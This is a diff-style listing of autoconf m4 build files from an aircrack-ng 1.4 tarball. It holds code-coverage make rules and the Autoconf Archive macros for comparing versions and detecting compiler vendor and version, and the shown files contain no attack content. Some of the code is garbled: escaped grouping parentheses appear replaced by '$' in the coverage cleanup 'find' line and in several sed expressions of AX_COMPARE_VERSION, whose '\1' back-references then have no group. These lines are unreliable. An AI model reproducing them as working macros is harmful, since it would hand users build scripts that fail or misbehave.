+	-rm -rf $(CODE_COVERAGE_OUTPUT_FILE) $(CODE_COVERAGE_OUTPUT_FILE).tmp $(CODE_COVERAGE_OUTPUT_FILE).join $(CODE_COVERAGE_OUTPUT_DIRECTORY)
+	-find . $ -name "*.gcda" -o -name "*.gcno" -o -name "*.gcov" $ -delete
+']
+	], [
+		[CODE_COVERAGE_RULES_CHECK='
+	@echo "Need to reconfigure with --enable-code-coverage"
+']
+		CODE_COVERAGE_RULES_CAPTURE="$CODE_COVERAGE_RULES_CHECK"
+		CODE_COVERAGE_RULES_CLEAN=''
+	])
+
+[CODE_COVERAGE_RULES='
+# Code coverage
+#
+# Optional:
+#  - CODE_COVERAGE_DIRECTORY: Top-level directory for code coverage reporting.
+#    Multiple directories may be specified, separated by whitespace.
+#    (Default: $(top_builddir))
+#  - CODE_COVERAGE_OUTPUT_FILE: Filename and path for the .info file generated
+#    by lcov for code coverage. (Default:
+#    $(PACKAGE_NAME)-$(PACKAGE_VERSION)-coverage.info)
+#  - CODE_COVERAGE_OUTPUT_DIRECTORY: Directory for generated code coverage
+#    reports to be created. (Default:
+#    $(PACKAGE_NAME)-$(PACKAGE_VERSION)-coverage)
+#  - CODE_COVERAGE_BRANCH_COVERAGE: Set to 1 to enforce branch coverage,
+#    set to 0 to disable it and leave empty to stay with the default.
+#    (Default: empty)
+#  - CODE_COVERAGE_LCOV_SHOPTS_DEFAULT: Extra options shared between both lcov
+#    instances. (Default: based on $CODE_COVERAGE_BRANCH_COVERAGE)
+#  - CODE_COVERAGE_LCOV_SHOPTS: Extra options to shared between both lcov
+#    instances. (Default: $CODE_COVERAGE_LCOV_SHOPTS_DEFAULT)
+#  - CODE_COVERAGE_LCOV_OPTIONS_GCOVPATH: --gcov-tool pathtogcov
+#  - CODE_COVERAGE_LCOV_OPTIONS_DEFAULT: Extra options to pass to the
+#    collecting lcov instance. (Default: $CODE_COVERAGE_LCOV_OPTIONS_GCOVPATH)
+#  - CODE_COVERAGE_LCOV_OPTIONS: Extra options to pass to the collecting lcov
+#    instance. (Default: $CODE_COVERAGE_LCOV_OPTIONS_DEFAULT)
+#  - CODE_COVERAGE_LCOV_RMOPTS_DEFAULT: Extra options to pass to the filtering
+#    lcov instance. (Default: empty)
+#  - CODE_COVERAGE_LCOV_RMOPTS: Extra options to pass to the filtering lcov
+#    instance. (Default: $CODE_COVERAGE_LCOV_RMOPTS_DEFAULT)
+#  - CODE_COVERAGE_GENHTML_OPTIONS_DEFAULT: Extra options to pass to the
+#    genhtml instance. (Default: based on $CODE_COVERAGE_BRANCH_COVERAGE)
+#  - CODE_COVERAGE_GENHTML_OPTIONS: Extra options to pass to the genhtml
+#    instance. (Default: $CODE_COVERAGE_GENHTML_OPTIONS_DEFAULT)
+#  - CODE_COVERAGE_IGNORE_PATTERN: Extra glob pattern of files to ignore
+#
+# The generated report will be titled using the $(PACKAGE_NAME) and
+# $(PACKAGE_VERSION). In order to add the current git hash to the title,
+# use the git-version-gen script, available online.
+
+# Optional variables
+CODE_COVERAGE_DIRECTORY ?= $(builddir)
+CODE_COVERAGE_OUTPUT_FILE ?= $(abs_builddir)/$(PACKAGE_NAME)-$(PACKAGE_VERSION)-coverage.info
+CODE_COVERAGE_OUTPUT_DIRECTORY ?= $(abs_builddir)/$(PACKAGE_NAME)-coverage
+CODE_COVERAGE_BRANCH_COVERAGE ?= 1
+CODE_COVERAGE_LCOV_SHOPTS_DEFAULT ?= -b $(abs_srcdir) $(if $(CODE_COVERAGE_BRANCH_COVERAGE),\
+--rc lcov_branch_coverage=$(CODE_COVERAGE_BRANCH_COVERAGE))
+CODE_COVERAGE_LCOV_SHOPTS ?= $(CODE_COVERAGE_LCOV_SHOPTS_DEFAULT)
+CODE_COVERAGE_LCOV_OPTIONS_GCOVPATH ?= --gcov-tool "$(GCOV)"
+CODE_COVERAGE_LCOV_OPTIONS_DEFAULT ?= $(CODE_COVERAGE_LCOV_OPTIONS_GCOVPATH)
+CODE_COVERAGE_LCOV_OPTIONS ?= $(CODE_COVERAGE_LCOV_OPTIONS_DEFAULT)
+CODE_COVERAGE_LCOV_RMOPTS_DEFAULT ?=
+CODE_COVERAGE_LCOV_RMOPTS ?= $(CODE_COVERAGE_LCOV_RMOPTS_DEFAULT)
+CODE_COVERAGE_GENHTML_OPTIONS_DEFAULT ?=\
+$(if $(CODE_COVERAGE_BRANCH_COVERAGE),\
+--rc genhtml_branch_coverage=$(CODE_COVERAGE_BRANCH_COVERAGE))
+CODE_COVERAGE_GENHTML_OPTIONS ?= $(CODE_COVERAGE_GENHTML_OPTIONS_DEFAULT)
+CODE_COVERAGE_IGNORE_PATTERN ?=
+
+GITIGNOREFILES ?=
+GITIGNOREFILES += $(CODE_COVERAGE_OUTPUT_FILE) $(CODE_COVERAGE_OUTPUT_DIRECTORY)
+
+code_coverage_v_lcov_cap = $(code_coverage_v_lcov_cap_$(V))
+code_coverage_v_lcov_cap_ = $(code_coverage_v_lcov_cap_$(AM_DEFAULT_VERBOSITY))
+code_coverage_v_lcov_cap_0 = echo "  LCOV   --capture"\
+ $(CODE_COVERAGE_OUTPUT_FILE);
+code_coverage_v_lcov_ign = $(code_coverage_v_lcov_ign_$(V))
+code_coverage_v_lcov_ign_ = $(code_coverage_v_lcov_ign_$(AM_DEFAULT_VERBOSITY))
+code_coverage_v_lcov_ign_0 = echo "  LCOV   --remove /tmp/*"\
+ $(CODE_COVERAGE_IGNORE_PATTERN);
+code_coverage_v_genhtml = $(code_coverage_v_genhtml_$(V))
+code_coverage_v_genhtml_ = $(code_coverage_v_genhtml_$(AM_DEFAULT_VERBOSITY))
+code_coverage_v_genhtml_0 = echo "  GEN   " $(CODE_COVERAGE_OUTPUT_DIRECTORY);
+code_coverage_quiet = $(code_coverage_quiet_$(V))
+code_coverage_quiet_ = $(code_coverage_quiet_$(AM_DEFAULT_VERBOSITY))
+code_coverage_quiet_0 = --quiet
+
+# sanitizes the test-name: replaces with underscores: dashes and dots
+code_coverage_sanitize = $(subst -,_,$(subst .,_,$(1)))
+
+# Use recursive makes in order to ignore errors during check
+check-code-coverage:'"$CODE_COVERAGE_RULES_CHECK"'
+
+code-coverage-join:'"$CODE_COVERAGE_RULES_JOIN"'
+
+code-coverage-remove:'"$CODE_COVERAGE_RULES_REMOVE"'
+
+code-coverage-genhtml:'"$CODE_COVERAGE_RULES_GENHTML"'
+
+# Capture code coverage data
+#am__extra_recursive_targets = code-coverage-capture
+#am__recursive_targets += code-coverage-capture
+
+code-coverage-capture-am: code-coverage-capture-hook'"$CODE_COVERAGE_RULES_CAPTURE"'
+
+ifneq ($(SUBDIRS),)
+code-coverage-capture: code-coverage-capture-recursive
+else
+code-coverage-capture: code-coverage-capture-am
+endif
+
+# Hook rule executed before code-coverage-capture, overridable by the user
+code-coverage-capture-hook:
+
+'"$CODE_COVERAGE_RULES_CLEAN"'
+
+A''M_DISTCHECK_CONFIGURE_FLAGS ?=
+A''M_DISTCHECK_CONFIGURE_FLAGS += --disable-code-coverage
+
+# .PHONY: check-code-coverage code-coverage-capture code-coverage-capture-recursive code-coverage-capture-am code-coverage-join code-coverage-remove code-coverage-genhtml code-coverage-capture-hook code-coverage-clean
+.MAKE: code-coverage-capture-am
+
+.PHONY: code-coverage-capture-am code-coverage-capture  \
+        check-code-coverage code-coverage-join code-coverage-remove code-coverage-genhtml code-coverage-capture-hook code-coverage-clean
+
+']
+
+  am__extra_recursive_targets="code-coverage-capture-recursive"
+  AC_SUBST([am__extra_recursive_targets])
+	AC_SUBST([CODE_COVERAGE_RULES])
+	m4_ifdef([_AM_SUBST_NOTMAKE], [_AM_SUBST_NOTMAKE([CODE_COVERAGE_RULES])])
+])

aircrack-ng-1.4.tar.gz/build/m4/ax_compare_version.m4 Added

@@ -0,0 +1,179 @@
+# ===========================================================================
+#    https://www.gnu.org/software/autoconf-archive/ax_compare_version.html
+# ===========================================================================
+#
+# SYNOPSIS
+#
+#   AX_COMPARE_VERSION(VERSION_A, OP, VERSION_B, [ACTION-IF-TRUE], [ACTION-IF-FALSE])
+#
+# DESCRIPTION
+#
+#   This macro compares two version strings. Due to the various number of
+#   minor-version numbers that can exist, and the fact that string
+#   comparisons are not compatible with numeric comparisons, this is not
+#   necessarily trivial to do in a autoconf script. This macro makes doing
+#   these comparisons easy.
+#
+#   The six basic comparisons are available, as well as checking equality
+#   limited to a certain number of minor-version levels.
+#
+#   The operator OP determines what type of comparison to do, and can be one
+#   of:
+#
+#    eq  - equal (test A == B)
+#    ne  - not equal (test A != B)
+#    le  - less than or equal (test A <= B)
+#    ge  - greater than or equal (test A >= B)
+#    lt  - less than (test A < B)
+#    gt  - greater than (test A > B)
+#
+#   Additionally, the eq and ne operator can have a number after it to limit
+#   the test to that number of minor versions.
+#
+#    eq0 - equal up to the length of the shorter version
+#    ne0 - not equal up to the length of the shorter version
+#    eqN - equal up to N sub-version levels
+#    neN - not equal up to N sub-version levels
+#
+#   When the condition is true, shell commands ACTION-IF-TRUE are run,
+#   otherwise shell commands ACTION-IF-FALSE are run. The environment
+#   variable 'ax_compare_version' is always set to either 'true' or 'false'
+#   as well.
+#
+#   Examples:
+#
+#     AX_COMPARE_VERSION([3.15.7],[lt],[3.15.8])
+#     AX_COMPARE_VERSION([3.15],[lt],[3.15.8])
+#
+#   would both be true.
+#
+#     AX_COMPARE_VERSION([3.15.7],[eq],[3.15.8])
+#     AX_COMPARE_VERSION([3.15],[gt],[3.15.8])
+#
+#   would both be false.
+#
+#     AX_COMPARE_VERSION([3.15.7],[eq2],[3.15.8])
+#
+#   would be true because it is only comparing two minor versions.
+#
+#     AX_COMPARE_VERSION([3.15.7],[eq0],[3.15])
+#
+#   would be true because it is only comparing the lesser number of minor
+#   versions of the two values.
+#
+#   Note: The characters that separate the version numbers do not matter. An
+#   empty string is the same as version 0. OP is evaluated by autoconf, not
+#   configure, so must be a string, not a variable.
+#
+#   The author would like to acknowledge Guido Draheim whose advice about
+#   the m4_case and m4_ifvaln functions make this macro only include the
+#   portions necessary to perform the specific comparison specified by the
+#   OP argument in the final configure script.
+#
+# LICENSE
+#
+#   Copyright (c) 2008 Tim Toolan <toolan@ele.uri.edu>
+#
+#   Copying and distribution of this file, with or without modification, are
+#   permitted in any medium without royalty provided the copyright notice
+#   and this notice are preserved. This file is offered as-is, without any
+#   warranty.
+
+#serial 13
+
+dnl #########################################################################
+AC_DEFUN([AX_COMPARE_VERSION], [
+  AC_REQUIRE([AC_PROG_AWK])
+
+  # Used to indicate true or false condition
+  ax_compare_version=false
+
+  # Convert the two version strings to be compared into a format that
+  # allows a simple string comparison.  The end result is that a version
+  # string of the form 1.12.5-r617 will be converted to the form
+  # 0001001200050617.  In other words, each number is zero padded to four
+  # digits, and non digits are removed.
+  AS_VAR_PUSHDEF([A],[ax_compare_version_A])
+  A=`echo "$1" | sed -e 's/$[[0-9]]*$/Z\1Z/g' \
+                     -e 's/Z$[[0-9]]$Z/Z0\1Z/g' \
+                     -e 's/Z$[[0-9]][[0-9]]$Z/Z0\1Z/g' \
+                     -e 's/Z$[[0-9]][[0-9]][[0-9]]$Z/Z0\1Z/g' \
+                     -e 's/[[^0-9]]//g'`
+
+  AS_VAR_PUSHDEF([B],[ax_compare_version_B])
+  B=`echo "$3" | sed -e 's/$[[0-9]]*$/Z\1Z/g' \
+                     -e 's/Z$[[0-9]]$Z/Z0\1Z/g' \
+                     -e 's/Z$[[0-9]][[0-9]]$Z/Z0\1Z/g' \
+                     -e 's/Z$[[0-9]][[0-9]][[0-9]]$Z/Z0\1Z/g' \
+                     -e 's/[[^0-9]]//g'`
+
+  dnl # In the case of le, ge, lt, and gt, the strings are sorted as necessary
+  dnl # then the first line is used to determine if the condition is true.
+  dnl # The sed right after the echo is to remove any indented white space
+  m4_case(m4_tolower($2),
+  [lt],[
+    ax_compare_version=`echo "x$A
+x$B" | sed 's/^ *//' | sort -r | sed "s/x${A}/false/;s/x${B}/true/;1q"`
+  ],
+  [gt],[
+    ax_compare_version=`echo "x$A
+x$B" | sed 's/^ *//' | sort | sed "s/x${A}/false/;s/x${B}/true/;1q"`
+  ],
+  [le],[
+    ax_compare_version=`echo "x$A
+x$B" | sed 's/^ *//' | sort | sed "s/x${A}/true/;s/x${B}/false/;1q"`
+  ],
+  [ge],[
+    ax_compare_version=`echo "x$A
+x$B" | sed 's/^ *//' | sort -r | sed "s/x${A}/true/;s/x${B}/false/;1q"`
+  ],[
+    dnl Split the operator from the subversion count if present.
+    m4_bmatch(m4_substr($2,2),
+    [0],[
+      # A count of zero means use the length of the shorter version.
+      # Determine the number of characters in A and B.
+      ax_compare_version_len_A=`echo "$A" | $AWK '{print(length)}'`
+      ax_compare_version_len_B=`echo "$B" | $AWK '{print(length)}'`
+
+      # Set A to no more than B's length and B to no more than A's length.
+      A=`echo "$A" | sed "s/$.\{$ax_compare_version_len_B\}$.*/\1/"`
+      B=`echo "$B" | sed "s/$.\{$ax_compare_version_len_A\}$.*/\1/"`
+    ],
+    [[0-9]+],[
+      # A count greater than zero means use only that many subversions
+      A=`echo "$A" | sed "s/$\([[0-9]]\{4\}$\{m4_substr($2,2)\}\).*/\1/"`
+      B=`echo "$B" | sed "s/$\([[0-9]]\{4\}$\{m4_substr($2,2)\}\).*/\1/"`
+    ],
+    [.+],[
+      AC_WARNING(
+        [invalid OP numeric parameter: $2])
+    ],[])
+
+    # Pad zeros at end of numbers to make same length.
+    ax_compare_version_tmp_A="$A`echo $B | sed 's/./0/g'`"
+    B="$B`echo $A | sed 's/./0/g'`"
+    A="$ax_compare_version_tmp_A"
+
+    # Check for equality or inequality as necessary.
+    m4_case(m4_tolower(m4_substr($2,0,2)),
+    [eq],[
+      test "x$A" = "x$B" && ax_compare_version=true
+    ],
+    [ne],[
+      test "x$A" != "x$B" && ax_compare_version=true
+    ],
+    [],[
+    ],[
+      AC_WARNING([invalid OP parameter: $2])
+    ])
+  ])
+
+  AS_VAR_POPDEF([A])dnl
+  AS_VAR_POPDEF([B])dnl
+
+  dnl # Execute ACTION-IF-TRUE / ACTION-IF-FALSE.
+  if test "$ax_compare_version" = "true" ; then
+    m4_ifvaln([$4],[$4],[:])dnl
+    m4_ifvaln([$5],[else $5])dnl
+  fi
+]) dnl AX_COMPARE_VERSION

aircrack-ng-1.4.tar.gz/build/m4/ax_compiler_vendor.m4 Added

@@ -0,0 +1,87 @@
+# ===========================================================================
+#    https://www.gnu.org/software/autoconf-archive/ax_compiler_vendor.html
+# ===========================================================================
+#
+# SYNOPSIS
+#
+#   AX_COMPILER_VENDOR
+#
+# DESCRIPTION
+#
+#   Determine the vendor of the C/C++ compiler, e.g., gnu, intel, ibm, sun,
+#   hp, borland, comeau, dec, cray, kai, lcc, metrowerks, sgi, microsoft,
+#   watcom, etc. The vendor is returned in the cache variable
+#   $ax_cv_c_compiler_vendor for C and $ax_cv_cxx_compiler_vendor for C++.
+#
+# LICENSE
+#
+#   Copyright (c) 2008 Steven G. Johnson <stevenj@alum.mit.edu>
+#   Copyright (c) 2008 Matteo Frigo
+#
+#   This program is free software: you can redistribute it and/or modify it
+#   under the terms of the GNU General Public License as published by the
+#   Free Software Foundation, either version 3 of the License, or (at your
+#   option) any later version.
+#
+#   This program is distributed in the hope that it will be useful, but
+#   WITHOUT ANY WARRANTY; without even the implied warranty of
+#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
+#   Public License for more details.
+#
+#   You should have received a copy of the GNU General Public License along
+#   with this program. If not, see <https://www.gnu.org/licenses/>.
+#
+#   As a special exception, the respective Autoconf Macro's copyright owner
+#   gives unlimited permission to copy, distribute and modify the configure
+#   scripts that are the output of Autoconf when processing the Macro. You
+#   need not follow the terms of the GNU General Public License when using
+#   or distributing such scripts, even though portions of the text of the
+#   Macro appear in them. The GNU General Public License (GPL) does govern
+#   all other use of the material that constitutes the Autoconf Macro.
+#
+#   This special exception to the GPL applies to versions of the Autoconf
+#   Macro released by the Autoconf Archive. When you make and distribute a
+#   modified version of the Autoconf Macro, you may extend this special
+#   exception to the GPL to apply to your modified version as well.
+
+#serial 16
+
+AC_DEFUN([AX_COMPILER_VENDOR],
+[AC_CACHE_CHECK([for _AC_LANG compiler vendor], ax_cv_[]_AC_LANG_ABBREV[]_compiler_vendor,
+  dnl Please add if possible support to ax_compiler_version.m4
+  [# note: don't check for gcc first since some other compilers define __GNUC__
+  vendors="intel:     __ICC,__ECC,__INTEL_COMPILER
+           ibm:       __xlc__,__xlC__,__IBMC__,__IBMCPP__
+           pathscale: __PATHCC__,__PATHSCALE__
+           clang:     __clang__
+           cray:      _CRAYC
+           fujitsu:   __FUJITSU
+           gnu:       __GNUC__
+           sun:       __SUNPRO_C,__SUNPRO_CC
+           hp:        __HP_cc,__HP_aCC
+           dec:       __DECC,__DECCXX,__DECC_VER,__DECCXX_VER
+           borland:   __BORLANDC__,__CODEGEARC__,__TURBOC__
+           comeau:    __COMO__
+           kai:       __KCC
+           lcc:       __LCC__
+           sgi:       __sgi,sgi
+           microsoft: _MSC_VER
+           metrowerks: __MWERKS__
+           watcom:    __WATCOMC__
+           portland:  __PGI
+	   tcc:       __TINYC__
+           unknown:   UNKNOWN"
+  for ventest in $vendors; do
+    case $ventest in
+      *:) vendor=$ventest; continue ;;
+      *)  vencpp="defined("`echo $ventest | sed 's/,/) || defined(/g'`")" ;;
+    esac
+    AC_COMPILE_IFELSE([AC_LANG_PROGRAM(,[
+      #if !($vencpp)
+        thisisanerror;
+      #endif
+    ])], [break])
+  done
+  ax_cv_[]_AC_LANG_ABBREV[]_compiler_vendor=`echo $vendor | cut -d: -f1`
+ ])
+])

aircrack-ng-1.4.tar.gz/build/m4/ax_compiler_version.m4 Added

@@ -0,0 +1,492 @@
+# ===========================================================================
+#   https://www.gnu.org/software/autoconf-archive/ax_compiler_version.html
+# ===========================================================================
+#
+# SYNOPSIS
+#
+#   AX_COMPILER_VERSION
+#
+# DESCRIPTION
+#
+#   This macro retrieves the compiler version and returns it in the cache
+#   variable $ax_cv_c_compiler_version for C and $ax_cv_cxx_compiler_version
+#   for C++.
+#
+#   Version is returned as epoch:major.minor.patchversion
+#
+#   Epoch is used in order to have an increasing version number in case of
+#   marketing change.
+#
+#   Epoch use: * borland compiler use chronologically 0turboc for turboc
+#   era,
+#
+#     1borlanc BORLANDC++ before 5, 2cppbuilder for cppbuilder era,
+#     3borlancpp for return of BORLANDC++ (after version 5.5),
+#     4cppbuilder for cppbuilder with year version,
+#     and 5xe for XE era.
+#
+#   An empty string is returned otherwise.
+#
+# LICENSE
+#
+#   Copyright (c) 2014 Bastien ROUCARIES <roucaries.bastien+autoconf@gmail.com>
+#
+#   Copying and distribution of this file, with or without modification, are
+#   permitted in any medium without royalty provided the copyright notice
+#   and this notice are preserved. This file is offered as-is, without any
+#   warranty.
+
+#serial 9
+
+# for intel
+AC_DEFUN([_AX_COMPILER_VERSION_INTEL],
+  [ dnl
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_major,
+    [__INTEL_COMPILER/100],,
+    AC_MSG_FAILURE([[[$0]] unknown intel compiler version]))
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor,
+    [(__INTEL_COMPILER%100)/10],,
+    AC_MSG_FAILURE([[[$0]] unknown intel compiler version]))
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_patch,
+    [(__INTEL_COMPILER%10)],,
+    AC_MSG_FAILURE([[[$0]] unknown intel compiler version]))
+  ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="$_ax_[]_AC_LANG_ABBREV[]_compiler_version_major.$_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor.$_ax_[]_AC_LANG_ABBREV[]_compiler_version_patch"
+  ])
+
+# for IBM
+AC_DEFUN([_AX_COMPILER_VERSION_IBM],
+  [ dnl
+  dnl check between z/OS C/C++  and XL C/C++
+  AC_COMPILE_IFELSE([
+    AC_LANG_PROGRAM([],
+      [
+        #if defined(__COMPILER_VER__)
+        choke me;
+        #endif
+      ])],
+    [
+      AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_major,
+        [__xlC__/100],,
+      	AC_MSG_FAILURE([[[$0]] unknown IBM compiler major version]))
+      AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor,
+        [__xlC__%100],,
+      	AC_MSG_FAILURE([[[$0]] unknown IBM compiler minor version]))
+      AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_patch,
+        [__xlC_ver__/0x100],,
+      	AC_MSG_FAILURE([[[$0]] unknown IBM compiler patch version]))
+      AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_build,
+        [__xlC_ver__%0x100],,
+      	AC_MSG_FAILURE([[[$0]] unknown IBM compiler build version]))
+      ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="$_ax_[]_AC_LANG_ABBREV[]_compiler_version_major.$_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor.$_ax_[]_AC_LANG_ABBREV[]_compiler_version_patch.$_ax_[]_AC_LANG_ABBREV[]_compiler_version_build"
+    ],
+    [
+      AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_patch,
+        [__xlC__%1000],,
+      	AC_MSG_FAILURE([[[$0]] unknown IBM compiler patch version]))
+      AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor,
+        [(__xlC__/10000)%10],,
+      	AC_MSG_FAILURE([[[$0]] unknown IBM compiler minor version]))
+      AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_major,
+        [(__xlC__/100000)%10],,
+      	AC_MSG_FAILURE([[[$0]] unknown IBM compiler major version]))
+      ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="$_ax_[]_AC_LANG_ABBREV[]_compiler_version_major.$_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor.$_ax_[]_AC_LANG_ABBREV[]_compiler_version_patch"
+    ])
+])
+
+# for pathscale
+AC_DEFUN([_AX_COMPILER_VERSION_PATHSCALE],[
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_major,
+    __PATHCC__,,
+    AC_MSG_FAILURE([[[$0]] unknown pathscale major]))
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor,
+    __PATHCC_MINOR__,,
+    AC_MSG_FAILURE([[[$0]] unknown pathscale minor]))
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_patch,
+    [__PATHCC_PATCHLEVEL__],,
+    AC_MSG_FAILURE([[[$0]] unknown pathscale patch level]))
+  ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="$_ax_[]_AC_LANG_ABBREV[]_compiler_version_major.$_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor.$_ax_[]_AC_LANG_ABBREV[]_compiler_version_patch"
+  ])
+
+# for clang
+AC_DEFUN([_AX_COMPILER_VERSION_CLANG],[
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_major,
+    __clang_major__,,
+    AC_MSG_FAILURE([[[$0]] unknown clang major]))
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor,
+    __clang_minor__,,
+    AC_MSG_FAILURE([[[$0]] unknown clang minor]))
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_patch,
+    [__clang_patchlevel__],,0)
+  ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="$_ax_[]_AC_LANG_ABBREV[]_compiler_version_major.$_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor.$_ax_[]_AC_LANG_ABBREV[]_compiler_version_patch"
+  ])
+
+# for crayc
+AC_DEFUN([_AX_COMPILER_VERSION_CRAY],[
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_major,
+    _RELEASE,,
+    AC_MSG_FAILURE([[[$0]] unknown crayc release]))
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor,
+    _RELEASE_MINOR,,
+    AC_MSG_FAILURE([[[$0]] unknown crayc minor]))
+  ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="$_ax_[]_AC_LANG_ABBREV[]_compiler_version_major.$_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor"
+  ])
+
+# for fujitsu
+AC_DEFUN([_AX_COMPILER_VERSION_FUJITSU],[
+  AC_COMPUTE_INT(ax_cv_[]_AC_LANG_ABBREV[]_compiler_version,
+                 __FCC_VERSION,,
+		 AC_MSG_FAILURE([[[$0]]unknown fujitsu release]))
+  ])
+
+# for GNU
+AC_DEFUN([_AX_COMPILER_VERSION_GNU],[
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_major,
+    __GNUC__,,
+    AC_MSG_FAILURE([[[$0]] unknown gcc major]))
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor,
+    __GNUC_MINOR__,,
+    AC_MSG_FAILURE([[[$0]] unknown gcc minor]))
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_patch,
+    [__GNUC_PATCHLEVEL__],,
+    AC_MSG_FAILURE([[[$0]] unknown gcc patch level]))
+  ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="$_ax_[]_AC_LANG_ABBREV[]_compiler_version_major.$_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor.$_ax_[]_AC_LANG_ABBREV[]_compiler_version_patch"
+  ])
+
+# For sun
+AC_DEFUN([_AX_COMPILER_VERSION_SUN],[
+  m4_define([_AX_COMPILER_VERSION_SUN_NUMBER],
+            [
+	     #if defined(__SUNPRO_CC)
+	     __SUNPRO_CC
+	     #else
+	     __SUNPRO_C
+	     #endif
+	    ])
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_until59,
+    !!(_AX_COMPILER_VERSION_SUN_NUMBER < 0x1000),,
+    AC_MSG_FAILURE([[[$0]] unknown sun release version]))
+  AS_IF([test "X$_ax_[]_AC_LANG_ABBREV[]_compiler_version_until59" = X1],
+    [dnl
+      AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_patch,
+        _AX_COMPILER_VERSION_SUN_NUMBER % 0x10,,
+	AC_MSG_FAILURE([[[$0]] unknown sun patch version]))
+      AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor,
+        (_AX_COMPILER_VERSION_SUN_NUMBER / 0x10) % 0x10,,
+        AC_MSG_FAILURE([[[$0]] unknown sun minor version]))
+      AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_major,
+        (_AX_COMPILER_VERSION_SUN_NUMBER / 0x100),,
+        AC_MSG_FAILURE([[[$0]] unknown sun major version]))
+    ],
+    [dnl
+      AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_patch,
+        _AX_COMPILER_VERSION_SUN_NUMBER % 0x10,,
+        AC_MSG_FAILURE([[[$0]] unknown sun patch version]))
+      AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor,
+        (_AX_COMPILER_VERSION_SUN_NUMBER / 0x100) % 0x100,,
+        AC_MSG_FAILURE([[[$0]] unknown sun minor version]))
+      AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_major,
+        (_AX_COMPILER_VERSION_SUN_NUMBER / 0x1000),,
+        AC_MSG_FAILURE([[[$0]] unknown sun major version]))
+    ])
+  ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="$_ax_[]_AC_LANG_ABBREV[]_compiler_version_major.$_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor.$_ax_[]_AC_LANG_ABBREV[]_compiler_version_patch"
+])
+
+AC_DEFUN([_AX_COMPILER_VERSION_HP],[
+  m4_define([_AX_COMPILER_VERSION_HP_NUMBER],
+            [
+	     #if defined(__HP_cc)
+	     __HP_cc
+	     #else
+	     __HP_aCC
+	     #endif
+	    ])
+  AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_untilA0121,
+    !!(_AX_COMPILER_VERSION_HP_NUMBER <= 1),,
+    AC_MSG_FAILURE([[[$0]] unknown hp release version]))
+  AS_IF([test "X$_ax_[]_AC_LANG_ABBREV[]_compiler_version_untilA0121" = X1],
+    [dnl By default output last version with this behavior.
+     dnl it is so old
+      ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="01.21.00"
+    ],
+    [dnl
+      AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_patch,
+        (_AX_COMPILER_VERSION_HP_NUMBER % 100),,
+        AC_MSG_FAILURE([[[$0]] unknown hp release version]))
+      AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor,
+        ((_AX_COMPILER_VERSION_HP_NUMBER / 100)%100),,
+        AC_MSG_FAILURE([[[$0]] unknown hp minor version]))
+      AC_COMPUTE_INT(_ax_[]_AC_LANG_ABBREV[]_compiler_version_major,
+        ((_AX_COMPILER_VERSION_HP_NUMBER / 10000)%100),,
+        AC_MSG_FAILURE([[[$0]] unknown hp major version]))
+      ax_cv_[]_AC_LANG_ABBREV[]_compiler_version="$_ax_[]_AC_LANG_ABBREV[]_compiler_version_major.$_ax_[]_AC_LANG_ABBREV[]_compiler_version_minor.$_ax_[]_AC_LANG_ABBREV[]_compiler_version_patch"
+    ])
+])
+
+AC_DEFUN([_AX_COMPILER_VERSION_DEC],[dnl
